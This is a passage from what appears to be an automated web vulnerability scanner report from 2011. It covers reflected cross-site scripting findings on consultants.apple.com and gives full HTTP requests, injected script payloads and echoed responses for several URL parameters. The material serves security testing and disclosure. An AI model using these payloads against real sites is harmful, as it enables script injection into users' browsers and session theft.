User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:46 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:46 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15981

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images/border-left.gif2918a;alert(1)//5dbf75dd64" class="search" id="g-search">
...[SNIP]...

1.15. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 8d825%3balert(1)//c0f42398bb7 was submitted in the REST URL parameter 2. This input was echoed as 8d825;alert(1)//c0f42398bb7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C8d825%3balert(1)//c0f42398bb7/images/border-right.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:39 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:39 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15983

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<8d825;alert(1)//c0f42398bb7/images/border-right.gif" class="search" id="g-search">
...[SNIP]...

1.16. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8c7d"><script>alert(1)</script>063859fa851 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/f8c7d"><script>alert(1)</script>063859fa851/images/border-right.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:38 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:38 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15959

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/f8c7d"><script>alert(1)</script>063859fa851/images/border-right.gif" class="search" id="g-search">
...[SNIP]...

1.17. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1f609%3balert(1)//92d2c9dbd8 was submitted in the REST URL parameter 3. This input was echoed as 1f609;alert(1)//92d2c9dbd8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images1f609%3balert(1)//92d2c9dbd8/border-right.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:41 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:41 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15982

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images1f609;alert(1)//92d2c9dbd8/border-right.gif" class="search" id="g-search">
...[SNIP]...

1.18. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f3782%3balert(1)//28f135001d8 was submitted in the REST URL parameter 4. This input was echoed as f3782;alert(1)//28f135001d8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.giff3782%3balert(1)//28f135001d8 HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:46 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:46 GMT
